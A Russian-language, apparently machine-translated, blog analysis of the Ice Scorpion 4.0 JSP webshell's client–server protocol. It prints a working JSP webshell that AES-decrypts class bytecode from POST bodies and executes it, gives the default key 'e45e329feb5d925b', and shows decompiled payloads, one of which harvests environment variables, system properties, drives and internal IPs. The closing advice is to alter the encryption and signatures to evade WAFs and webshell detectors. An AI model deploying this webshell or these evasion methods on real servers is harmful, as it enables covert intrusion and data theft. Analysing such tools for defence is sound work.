Краткий анализ трояна Ice Skorpion 4.0jsp
Краткий анализ трояна Ice Skorpion 4.0jsp

Предисловие

Здесь мы кратко узнаем, как работает Ice Skorpion и как обойти некоторые распространенные устройства WAF с помощью шифрования и дешифрования.

Рабочий процесс

  1. Ледяной Скорпион готовит байт-код, который был обработан методом шифрования.,вставьте тело запроса
  2. Сервер расшифровывает ключ в jsp, а затем вызывает метод равенства, чтобы получить результат этого выполнения.
  3. Верните полученные результаты клиенту через заданное ключевое шифрование.
  4. клиент расшифровывает по ключу

Отсюда мы можем знать, что ключ очень важен в процессе.,Ледяной Скорпион по умолчаниюпарольдляrebeyond,Первый 16-значный ключ, полученный после шифрования, — e45e329feb5d925b.

Вы можете получить его с помощью следующего кода

Язык кода:javascript
копировать
import org.springframework.util.DigestUtils;
import java.security.NoSuchAlgorithmException;

public class GenerateKey {

    public static void main(String[] args) throws NoSuchAlgorithmException {
        String key = "rebeyond";
        System.out.println(getMd5Key(key).substring(0, 16));
    }

    public static String getMd5Key(String key){
        String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());
        return md5Key;

    }

}

Используемый здесь троян jsp выглядит следующим образом.

Я сделал здесь кое-что, чтобы облегчить обучение. Я сохранил байт-код, отправленный Ice Skorpion, в файл класса, который более интуитивно понятен.

Язык кода:javascript
копировать
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%@ page import="java.io.FileOutputStream" %>
<%!
    //Пользовательский загрузчик классов
    class U extends ClassLoader{
        U(ClassLoader c){
            super(c);
        }
        public Class g(byte []b)
        {
            //Вызов метода defineClass родительского класса
            return super.defineClass(b,0,b.length);
        }
    }
%>
<%
    if (request.getMethod().equals("POST")){
        String k="e45e329feb5d925b";
        session.putValue("u",k);
        Cipher c=Cipher.getInstance("AES");
        c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

//        Получить данные о клиенте
        String line = request.getReader().readLine();
//        декодирование данных клиента в base64
        byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
//        AES-расшифровка
        byte[] b1 = c.doFinal(b);
//        Вызовите метод defineClass родительского класса, чтобы восстановить входящие данные в объект Class.
//Путь здесь необходимо изменить на путь, который нужно сохранить.
        FileOutputStream fo = new FileOutputStream("D:\\Java_Study_Thingsobj2.class");
        fo.write(b1);
        U u = new U(this.getClass().getClassLoader());
        Class clazz = u.g(b1);
//        Создать экземпляр объекта для записи вывода в pageContext
//        клиент Метод равенства переписывается в классе, на который указывает входящий байт-код, и передается в pageContextобъект через pageContextобъект.
//        Вы можете управлять ответом косвенно, записать результат выполнения в ответ и вернуть его клиенту.
        clazz.newInstance().equals(pageContext);
//        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
    }
%>

Этот jsp-троян также проще понять. Установите ключ в качестве идентификатора в сеансе, а затем определите, является ли это запросом POST. Если да, сначала получите данные тела запроса клиента, затем сначала декодируйте base64, а затем расшифруйте, чтобы получить. данные байт-кода класса, вызовите метод g для создания экземпляра объекта, а затем вызовите метод равенства.

анализ кода

При нажатии на оболочку в списке оболочек запускается ряд методов JavaFX, которые кратко не описываются в статье.

Дальнейшие действия от doConnect

Utils.getRandomString(randStringLength)используется для создания специальной строки,Будет использован позже

Введите echo и введите сгенерированную строку.

ВходитьUtils.getData

ВходитьParams.getParamedClass

getTransProtocoledClass

Переданное ранее Echo объединяется здесь в net.rebeyond.behinder.payload.java.Echo. Ice Scorpion необходимо запрашивать информацию при первом запуске. Затем каждый раз, когда отправленная полезная нагрузка должна быть скомпилирована, скорость будет увеличиваться. быть очень медленным, поэтому автор использует манипуляции с байт-кодом для отправки полезных данных.

  1. Сначала получите объект CtClass Echo.
  2. Изменить имя класса
  3. Удалить метод шифрования
  4. Создать метод шифрования

Возвращает байт-код Echo

然后Входить到В методе getParamedClass

Здесь используются следующие операции:

  1. Изменить имя класса,Случайно названный
  2. Используйте режим наблюдателя для работы с байт-кодом. При обнаружении метода построения без параметров выполните операцию. Подробности здесь не объясняются.

Вернитесь в Utils и введите cryptor.encrypt.

this.getEncodeCls();

Этот метод создает класс с именем test, который содержит метод шифрования по умолчанию для облегчения следующих операций с байт-кодом.

Получите метод Encrypt посредством отражения и используйте этот метод для шифрования полученного ранее байт-кода класса Echo.

Вернемся к классу ShellService.

Далее следует отправить зашифрованный байт-код на сервер для анализа.

Введите doRequestAndParse.

Продолжайте следить

Предыдущий шаг — добавить заголовок и затем отправить пакет данных.

Тогда посмотри на сервер

Язык кода:javascript
копировать
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package net.ozfvwj.qjxyz;

import java.lang.reflect.Method;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.Map;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Vlfq {
    public static String content;
    public static String payloadBody;
    private Object Request;
    private Object Response;
    private Object Session;

    public Vlfq() {
        content = "";
        content = content + "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";
        super();
    }

    public boolean equals(Object obj) {
        LinkedHashMap result = new LinkedHashMap();
        boolean var13 = false;

        Object so;
        Method write;
        label95: {
            try {
                var13 = true;
                this.fillContext(obj);
                result.put("status", "success");
                result.put("msg", content);
                var13 = false;
                break label95;
            } catch (Exception var19) {
                result.put("msg", var19.getMessage());
                result.put("status", "success");
                var13 = false;
            } finally {
                if (var13) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        System.out.println("this.buildJson(result, true) " + this.buildJson(result, true));
                        write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var16) {
                        var16.printStackTrace();
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                System.out.println("this.buildJson(result, true)2 " + this.buildJson(result, true));
                write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var17) {
                var17.printStackTrace();
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var18) {
            var18.printStackTrace();
        }

        return true;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = (String)entity.get(key);
            if (encode) {
                value = this.base64encode(value.getBytes());
            }

            sb.append(value);
            sb.append("\",");
        }

        if (sb.toString().endsWith(",")) {
            sb.setLength(sb.length() - 1);
        }

        sb.append("}");
        return sb.toString();
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("\n", "").replace("\r", "");
        }

        return result;
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length; ++i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("\n", "").replace("\r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

Метод равенства, вызываемый трояном jsp на стороне сервера. Давайте подробнее рассмотрим, что делает этот шаг.

  1. Вызов метода fillContext,Именно поэтому для инициализации запроса и ответа, а также некоторых параметров, которые необходимо будет использовать позже, выбирается метод равенства.,Входящий объект objobject содержит объект, который необходимо использовать.
  2. Получите поток вывода ответа, а затем получите версию Java сервера. Похоже, что эта информация о версии не используется, а затем выполните обработку JSON для результата.
  3. Используйте значение по умолчанию e45e329feb5d925b в качестве ключа шифрования AES для сохранения карты информации.
  4. Затем выполните кодировку base64 для содержимого aesшифрования.

После декодирования

Нашел это и отправил в код байт-код класса двоичного потока.Параметры контента соответствуют

Затем мы находим метод конструктора в классе двоичного потока.

На самом деле это соответствуетВ методе getParamedClassОперации над методами конструктора

Затем вернитесь в местное

Здесь мы обрабатываем некоторую информацию, возвращаемую сервером, присваивая заголовки ответов ресхедерам, а затем выполняем итерацию.

Создайте карту зашифрованного содержимого и данных в теле и присвойте ее результату. В данных, возвращаемых сервером, нет данных. Вам необходимо обратить на это внимание, а затем сопоставить возвращаемый код состояния и статус, а также. заголовок и заголовок возврата. Наконец, присвойте результат var22 и верните var22.

Затем вернитесь к requestAndParse.

Извлечение информации о данных означает возврат основной информации в пакете, присвоение ее resultObj и возврат resultObj.

Вернуться в ShellService

Выньте заголовок, а затем вручную создайте json-строку статуса и msg. Чтобы потом сравнить с принятой, позже будет выполнена операция расшифровки.

Вернуться к методу doConnect

Определите, совпадает ли возвращаемая строка сообщения с локально сгенерированной.

Вернитесь в MainWindowController и продолжайте генерировать здесь строки случайной длины.

Затем перейдите к getBasicInfo.

Введите parseCommonAction, где используется класс BasicInfo.

ВходитьgetData

Обнаружено, что он аналогичен предыдущему шагу. Он также возвращает байт-код соответствующего класса и шифрует его. Мы не будем продолжать анализ и перейдем непосредственно к doRequestAndParse для отправки запроса.

Классы, полученные сервером

Язык кода:javascript
копировать
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package sun.wspc;

import java.io.File;
import java.lang.reflect.Method;
import java.net.Inet4Address;
import java.net.InetAddress;
import java.net.NetworkInterface;
import java.util.Enumeration;
import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Random;
import java.util.Set;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Vmwqtmzls {
    public static String whatever;
    private Object Request;
    private Object Response;
    private Object Session;

    public Vmwqtmzls() {
        whatever = "";
        whatever = whatever + "ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";
        super();
    }

    public boolean equals(Object obj) {
        HashMap result = new HashMap();
        boolean var22 = false;

        Object so;
        Method write;
        label147: {
            try {
                var22 = true;
                this.fillContext(obj);
                StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>переменные среды:</font><br/>");
                Map env = System.getenv();
                Iterator var5 = env.keySet().iterator();

                while(var5.hasNext()) {
                    String name = (String)var5.next();
                    basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
                }

                basicInfo.append("<br/><font size=2 color=red>JREСвойства системы:</font><br/>");
                Properties props = System.getProperties();
                Set entrySet = props.entrySet();
                Iterator var7 = entrySet.iterator();

                while(var7.hasNext()) {
                    Map.Entry entry = (Map.Entry)var7.next();
                    basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
                }

                String currentPath = (new File("")).getAbsolutePath();
                String driveList = "";
                File[] roots = File.listRoots();
                File[] var10 = roots;
                int var11 = roots.length;

                for(int var12 = 0; var12 < var11; ++var12) {
                    File f = var10[var12];
                    driveList = driveList + f.getPath() + ";";
                }

                String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch");
                Map entity = new HashMap();
                entity.put("basicInfo", basicInfo.toString());
                entity.put("currentPath", currentPath);
                entity.put("driveList", driveList);
                entity.put("osInfo", osInfo);
                entity.put("arch", System.getProperty("os.arch"));
                entity.put("localIp", this.getInnerIp());
                result.put("status", "success");
                result.put("msg", this.buildJson(entity, true));
                var22 = false;
                break label147;
            } catch (Exception var32) {
                var22 = false;
            } finally {
                if (var22) {
                    try {
                        so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                        write = so.getClass().getMethod("write", byte[].class);
                        write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                        so.getClass().getMethod("flush").invoke(so);
                        so.getClass().getMethod("close").invoke(so);
                    } catch (Exception var30) {
                    }
                }

            }

            try {
                so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
                write = so.getClass().getMethod("write", byte[].class);
                write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
                so.getClass().getMethod("flush").invoke(so);
                so.getClass().getMethod("close").invoke(so);
            } catch (Exception var29) {
            }

            return true;
        }

        try {
            so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
            write = so.getClass().getMethod("write", byte[].class);
            write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
            so.getClass().getMethod("flush").invoke(so);
            so.getClass().getMethod("close").invoke(so);
        } catch (Exception var31) {
        }

        return true;
    }

    private String getInnerIp() {
        String ips = "";

        try {
            Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces();
            InetAddress ip = null;

            while(netInterfaces.hasMoreElements()) {
                NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();
                Enumeration addresses = netInterface.getInetAddresses();

                while(addresses.hasMoreElements()) {
                    ip = (InetAddress)addresses.nextElement();
                    if (ip != null && ip instanceof Inet4Address) {
                        ips = ips + ip.getHostAddress() + " ";
                    }
                }
            }
        } catch (Exception var6) {
        }

        ips = ips.replace("127.0.0.1", "").trim();
        return ips;
    }

    private String buildJson(Map entity, boolean encode) throws Exception {
        StringBuilder sb = new StringBuilder();
        String version = System.getProperty("java.version");
        sb.append("{");
        Iterator var5 = entity.keySet().iterator();

        while(var5.hasNext()) {
            String key = (String)var5.next();
            sb.append("\"" + key + "\":\"");
            String value = ((String)entity.get(key)).toString();
            if (encode) {
                Class Base64;
                Object Encoder;
                if (version.compareTo("1.9") >= 0) {
                    this.getClass();
                    Base64 = Class.forName("java.util.Base64");
                    Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
                    value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                } else {
                    this.getClass();
                    Base64 = Class.forName("sun.misc.BASE64Encoder");
                    Encoder = Base64.newInstance();
                    value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
                    value = value.replace("\n", "").replace("\r", "");
                }
            }

            sb.append(value);
            sb.append("\",");
        }

        sb.setLength(sb.length() - 1);
        sb.append("}");
        return sb.toString();
    }

    private String base64encode(byte[] data) throws Exception {
        String result = "";
        String version = System.getProperty("java.version");

        Class Base64;
        try {
            this.getClass();
            Base64 = Class.forName("java.util.Base64");
            Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
            result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
        } catch (Throwable var7) {
            this.getClass();
            Base64 = Class.forName("sun.misc.BASE64Encoder");
            Object Encoder = Base64.newInstance();
            result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
            result = result.replace("\n", "").replace("\r", "");
        }

        return result;
    }

    private void fillContext(Object obj) throws Exception {
        if (obj.getClass().getName().indexOf("PageContext") >= 0) {
            this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
            this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
            this.Session = obj.getClass().getMethod("getSession").invoke(obj);
        } else {
            Map objMap = (Map)obj;
            this.Session = objMap.get("session");
            this.Response = objMap.get("response");
            this.Request = objMap.get("request");
        }

        this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8");
    }

    private byte[] getMagic() throws Exception {
        String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString();
        int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16;
        Random random = new Random();
        byte[] buf = new byte[magicNum];

        for(int i = 0; i < buf.length; ++i) {
            buf[i] = (byte)random.nextInt(256);
        }

        return buf;
    }

    private byte[] Encrypt(byte[] var1) throws Exception {
        String var2 = "e45e329feb5d925b";
        byte[] var3 = var2.getBytes("utf-8");
        SecretKeySpec var4 = new SecretKeySpec(var3, "AES");
        Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
        var5.init(1, var4);
        byte[] var6 = var5.doFinal(var1);

        Class var7;
        try {
            var7 = Class.forName("java.util.Base64");
            Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
            var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
        } catch (Throwable var12) {
            var7 = Class.forName("sun.misc.BASE64Encoder");
            Object var10 = var7.newInstance();
            String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
            var11 = var11.replace("\n", "").replace("\r", "");
            var6 = var11.getBytes();
        }

        return var6;
    }
}

Вы можете видеть, что здесь получены переменные среды и информация о системе jar.

То же самое и здесь, обработка возвращенной информации

Разница здесь в том, что возвращаемый объект BasicInfoObj должен быть установлен в окне графического интерфейса.

Подвести итог

Прочитав, как подключается Ice Skorpion, я также имею определенное представление о принципе работы Ice Skorpion. И локальная, и серверная стороны выполняют операции шифрования и дешифрования для обхода оборудования обнаружения трафика и некоторых WAF, а также с помощью байт-кода класса динамической загрузки. некоторые распространенные устройства уничтожения веб-шелла. Для последующих обходов вы можете начать с изменения метода шифрования и значений характеристик.

Справочная ссылка

boy illustration
Неразрушающее увеличение изображений одним щелчком мыши, чтобы сделать их более четкими артефактами искусственного интеллекта, включая руководства по установке и использованию.
boy illustration
Копикодер: этот инструмент отлично работает с Cursor, Bolt и V0! Предоставьте более качественные подсказки для разработки интерфейса (создание навигационного веб-сайта с использованием искусственного интеллекта).
boy illustration
Новый бесплатный RooCline превосходит Cline v3.1? ! Быстрее, умнее и лучше вилка Cline! (Независимое программирование AI, порог 0)
boy illustration
Разработав более 10 проектов с помощью Cursor, я собрал 10 примеров и 60 подсказок.
boy illustration
Я потратил 72 часа на изучение курсорных агентов, и вот неоспоримые факты, которыми я должен поделиться!
boy illustration
Идеальная интеграция Cursor и DeepSeek API
boy illustration
DeepSeek V3 снижает затраты на обучение больших моделей
boy illustration
Артефакт, увеличивающий количество очков: на основе улучшения характеристик препятствия малым целям Yolov8 (SEAM, MultiSEAM).
boy illustration
DeepSeek V3 раскручивался уже три дня. Сегодня я попробовал самопровозглашенную модель «ChatGPT».
boy illustration
Open Devin — инженер-программист искусственного интеллекта с открытым исходным кодом, который меньше программирует и больше создает.
boy illustration
Эксклюзивное оригинальное улучшение YOLOv8: собственная разработка SPPF | SPPF сочетается с воспринимаемой большой сверткой ядра UniRepLK, а свертка с большим ядром + без расширения улучшает восприимчивое поле
boy illustration
Популярное и подробное объяснение DeepSeek-V3: от его появления до преимуществ и сравнения с GPT-4o.
boy illustration
9 основных словесных инструкций по доработке академических работ с помощью ChatGPT, эффективных и практичных, которые стоит собрать
boy illustration
Вызовите deepseek в vscode для реализации программирования с помощью искусственного интеллекта.
boy illustration
Познакомьтесь с принципами сверточных нейронных сетей (CNN) в одной статье (суперподробно)
boy illustration
50,3 тыс. звезд! Immich: автономное решение для резервного копирования фотографий и видео, которое экономит деньги и избавляет от беспокойства.
boy illustration
Cloud Native|Практика: установка Dashbaord для K8s, графика неплохая
boy illustration
Краткий обзор статьи — использование синтетических данных при обучении больших моделей и оптимизации производительности
boy illustration
MiniPerplx: новая поисковая система искусственного интеллекта с открытым исходным кодом, спонсируемая xAI и Vercel.
boy illustration
Конструкция сервиса Synology Drive сочетает проникновение в интрасеть и синхронизацию папок заметок Obsidian в облаке.
boy illustration
Центр конфигурации————Накос
boy illustration
Начинаем с нуля при разработке в облаке Copilot: начать разработку с минимальным использованием кода стало проще
boy illustration
[Серия Docker] Docker создает мультиплатформенные образы: практика архитектуры Arm64
boy illustration
Обновление новых возможностей coze | Я использовал coze для создания апплета помощника по исправлению домашних заданий по математике
boy illustration
Советы по развертыванию Nginx: практическое создание статических веб-сайтов на облачных серверах
boy illustration
Feiniu fnos использует Docker для развертывания личного блокнота Notepad
boy illustration
Сверточная нейронная сеть VGG реализует классификацию изображений Cifar10 — практический опыт Pytorch
boy illustration
Начало работы с EdgeonePages — новым недорогим решением для хостинга веб-сайтов
boy illustration
[Зона легкого облачного игрового сервера] Управление игровыми архивами
boy illustration
Развертывание SpringCloud-проекта на базе Docker и Docker-Compose